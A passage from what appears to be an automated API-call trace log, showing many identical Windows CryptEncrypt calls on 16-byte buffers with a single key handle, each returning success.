pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.746] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.746] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.746] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.746] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.746] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.746] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.746] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.746] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.746] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.746] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.746] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.746] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.746] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.746] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.746] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.746] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.747] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.747] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.747] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.747] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.747] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.747] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.747] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.747] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.747] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.747] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.747] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.747] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.747] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.747] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.747] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.747] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.747] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.747] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.747] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.747] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.747] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.747] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.747] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.747] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.747] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.747] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.748] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.748] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.748] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.748] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.748] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.748] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.748] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.748] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.748] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.748] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.748] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.748] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.748] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.748] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.748] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.748] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.748] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.748] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.748] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.748] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.748] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.748] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.748] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.749] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.749] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.749] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.749] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.749] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.749] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.749] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.749] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.749] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.749] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.749] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.749] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.749] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.749] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.749] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.749] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.749] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.749] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.749] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.749] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.749] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.749] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.750] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.750] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.750] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.750] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.750] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.750] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.750] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.750] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.750] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.750] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.750] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.750] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.750] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.750] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.750] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.750] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.750] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.750] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.750] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.750] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.750] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.750] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, 